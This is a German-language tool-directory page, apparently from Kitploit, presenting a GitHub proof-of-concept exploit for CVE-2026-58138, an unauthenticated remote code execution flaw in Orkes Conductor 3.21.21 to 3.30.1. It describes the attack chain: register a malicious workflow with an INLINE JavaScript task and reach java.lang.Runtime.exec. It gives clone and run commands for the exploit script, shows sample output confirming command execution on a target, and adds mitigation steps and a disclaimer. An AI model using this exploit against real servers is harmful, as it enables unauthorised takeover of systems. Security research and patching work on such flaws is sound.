Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/0xgh057r3c0n/cve-2026-58138
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHub0xgh057r3c0n/cve-2026-58138

CVE-2026-58138

CVE-2026-58138 - Conductor (3.21.21..<3.30.2) nicht authentifizierte RCE über INLINE GraalVM Evaluator

Repository anzeigen
3vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-58138 — Conductor (3.21.21..<3.30.2) Nicht authentifizierte Remote-Codeausführung

Orkes Conductor

Kritische Remote-Codeausführung-Schwachstelle in Orkes Conductor

CVE Exploit Python

📋 Übersicht

CVE-2026-58138 ist eine kritische, nicht authentifizierte Remote-Codeausführung (RCE) Schwachstelle, die Orkes Conductor Versionen 3.21.21 bis 3.30.1 betrifft. Diese Schwachstelle ermöglicht es Angreifern, ohne Authentifizierung beliebige Befehle auf dem Conductor-Server auszuführen, was potenziell zur vollständigen Kompromittierung des Systems führen kann.

🔴 Schweregrad

  • CVSS-Score: 9.8 (Kritisch)
  • Angriffsvektor: Netzwerk
  • Authentifizierung: Keine erforderlich
  • Auswirkung: Vollständige Systemkompromittierung

⚙️ Details zur Schwachstelle

Die Schwachstelle existiert im INLINE-Aufgabentyp innerhalb der Workflow-Engine von Orkes Conductor. Die INLINE-Aufgabe unterstützt die JavaScript-Auswertung mit Zugriff auf Java-Objekte über eval, was einem Angreifer Folgendes ermöglicht:

  1. Registrieren eines bösartigen Workflows, der eine INLINE-Aufgabe mit JavaScript-Code enthält
  2. Ausführen von beliebigem Java-Code durch JavaScripts Java-Interop
  3. Ausführen von Systembefehlen auf dem Conductor-Server über java.lang.Runtime.exec()

📦 Betroffene Versionen

VersionsbereichStatus
3.21.21 - 3.30.1✅ Anfällig
> 3.30.1❌ Gepatched

🚀 Installation

root@kitploit:~
# Klone das Repository
git clone https://github.com/0xgh057r3c0n/CVE-2026-58138.git
cd CVE-2026-58138

# Mach das Skript ausführbar
chmod +x CVE-2026-58138.py

# Überprüfe die Installation
python3 CVE-2026-58138.py --help

💻 Nutzung

root@kitploit:~
# Grundlegende Nutzung
python3 CVE-2026-58138.py http://target:8080

# Benutzerdefinierter Befehl
python3 CVE-2026-58138.py http://target:8080 -c "whoami; id"

📊 Beispielausgabe

root@kitploit:~
[>] Orkes Conductor 3.21.21 - 3.30.1 Remote Code Execution
[>] Author: 0xgh057r3c0n
[>] CVE-2026-58138 Unauthenticated RCE PoC

[*] target  = http://192.168.1.100:8080
[*] command = 'id; hostname'
[+] workflow 'pwn_1742345678' registered (HTTP 200)
[+] started workflow id = 123e4567-e89b-12d3-a456-426614174000
[+] UNAUTHENTICATED RCE CONFIRMED – command output:
uid=1000(conductor) gid=1000(conductor) groups=1000(conductor)
conductor-server-6b7c8d9e0f-abc12

🛡️ Minderung

  1. Upgrade auf Orkes Conductor 3.30.2 oder höher
  2. Deaktiviere den INLINE-Aufgabentyp, falls nicht benötigt
  3. Schränke den Netzwerkzugriff auf die Conductor-API ein

⚠️ Haftungsausschluss

Nur für Bildungs- und Sicherheitsforschungszwecke. Nur auf Systemen verwenden, die dir gehören oder für die du ausdrückliche Erlaubnis zum Testen hast.

📚 Referenzen

  • NVD - CVE-2026-58138
  • Orkes Conductor Sicherheit

⭐ Nützlich gefunden? Gib ihm einen Stern auf GitHub ⭐

GitHub stars

Tool herunterladen